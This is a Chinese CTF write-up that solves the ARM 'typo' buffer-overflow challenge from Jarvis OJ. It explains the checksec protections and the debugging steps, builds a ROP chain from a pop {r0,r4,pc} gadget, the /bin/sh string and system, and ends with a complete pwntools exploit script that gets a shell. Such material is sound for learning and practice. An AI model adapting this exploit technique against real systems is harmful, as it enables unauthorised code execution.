Pwn-10月15-qemu
Pwn-10月15-簡單瞭解異構pwn題
參照m4x大佬的部落格簡單地搭建了一下環境後,繼續來練練手,簡單瞭解一下異構binary除錯,如arm,mips,環境搭建參照上一篇。
arm 的引數 1 ~ 4 分別儲存到 r0 ~ r3 暫存器中, 剩下的引數從右向左依次入棧, 被呼叫者實現棧平衡, 返回值存放在 r0 中 。arm 的 pc 指標相當於 eip/rip, b/bl 等指令實現了跳轉
Jarvis oj - typo
簡單說一下步驟:先檢視保護措施,可以發現沒有棧溢位保護,執行程式有溢位點可以利用,然後可以找到溢位點位置,找到system函式,以及/bin/sh字串的位置,然後拿到能夠控制 r0暫存器
一. 檢視保護措施
#checksec typo Arch: arm-32-little #32位小端序 arm架構程式 RELRO: Partial RELRO Stack: No canary found #無棧溢位保護 NX: NX enabled PIE: No PIE (0x8000)
順便學習一下幾種防護措施的意思:
RELRO:在Linux系統安全領域資料可以寫的儲存區就會是攻擊的目標,尤其是儲存函式指標的區域,儘量減少可寫的儲存區域可使安全係數提高。GCC, GNU linker以及Glibc-dynamic linker一起配合實現了一種叫做relro的技術Relocation Read Only, 重定向只讀,實現就是由linker指定binary的一塊經過dynamic linker處理過 relocation之後的區域為只讀。
棧溢位檢查,用Canary金絲雀值是否變化來檢測,Canary found表示開啟。金絲雀最早指的是礦工曾利用金絲雀來確認是否有氣體洩漏,如果金絲雀因為氣體洩漏而中毒死亡,可以給礦工預警。這裡是一種緩衝區溢位攻擊緩解手段:啟用棧保護後,函式開始執行的時候會先往棧裡插入cookie資訊,當函式真正返回的時候會驗證cookie資訊是否合法,如果不合法就停止程式執行。攻擊者在覆蓋返回地址的時候往往也會將cookie資訊給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux將cookie資訊稱為Canary。
** NX ** : No Execute,棧不可執行,也就是windows上的DEP。 分析緩衝區溢位攻擊,其根源在於現代計算機對資料和程式碼沒有明確區分這一先天缺陷,就目前來看重新去設計計算機體系結構基本上是不可能的,我們只能靠向前相容的修補來減少溢位帶來的損害,DEP就是用來彌補計算機對資料和程式碼混淆這一天然缺陷的。
PIE: position-independent executables, 位置無關的可執行檔案,也就是常說的ASLR(Address space layout randomization) 地址隨機化,程式每次啟動基址都隨機。
二. 分析程式
開始遠端除錯:
另一邊使用
gdb-multiarch typo -q
進入pwndbg,並且使用target remote localhost:6788
連線程式:生成padding,輸入後得到溢位資訊
pwndbg> cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
三.確定溢位點
之前已經說過PC相當於EIP,RIP之類的指向下一條指令的暫存器,那麼可以計算padding到PC暫存器的偏移量進而確定溢位點為0x62616165:
使用pwndbg的
cyclic -l
命令可以通過地址,字串確定偏移量.
四.構造payload進行利用
默默標記M4x博文中的這句話
因為是靜態連結, 所以 binary 中一定會有 system 函式 和 /bin/sh 字串, 如果能找到溢位點, 很容易就能用 rop 來解決了
,學習一波姿勢,構造rop chain
,通過ROPgadget可以找到我們需要的:可以用來傳遞 返回值的暫存器 r0那麼接下來就是尋找system函式的地址,將其填入PC暫存器的位置,從而執行
system('/bin/sh')
IDA除錯一波:
通過字串查詢或者交叉引用可以發現函式
sub_10BA8
不知道是不是ida7.0的原因,這裡直接找到了system函式:
可以看到其執行命令的邏輯和地址:
接下來可以開始構造payload結構:
| padding | << 112*'a' | pop {r0,r4,pc} | << p32(0x20904) #gadget_addr | /bin/sh | << p32(0x6c384) #/bin/sh_addr | junk_data(r4) | << p32("anything") #r4填充 | system_addr(pc) | << p32(0x110b4) #system函式地址
溢位導致PC指向gadget_addr,然後執行命令pop出棧將"/bin/sh"賦值到r0暫存器,junk_data賦值到r4暫存器,system_addr賦值到PC暫存器。
五.攻破
寫出exp:
#coding:utf-8 __Auther__ = "Yof3ng" from pwn import * io = process("./typo") print(io.recvuntil("quit\n")) io.send("\n") print(io.recvline()) print(io.recvline()) payload = 'a'*112 + p32(0x20904) + p32(0x6c384)*2 + p32(0x110b4) try: io.send(payload) io.sendline("echo xiaoyifeng") except: print("Error!") exit(0) if(io.recvuntil("xiaoyifeng")): print("getshell")
PWN真好玩!??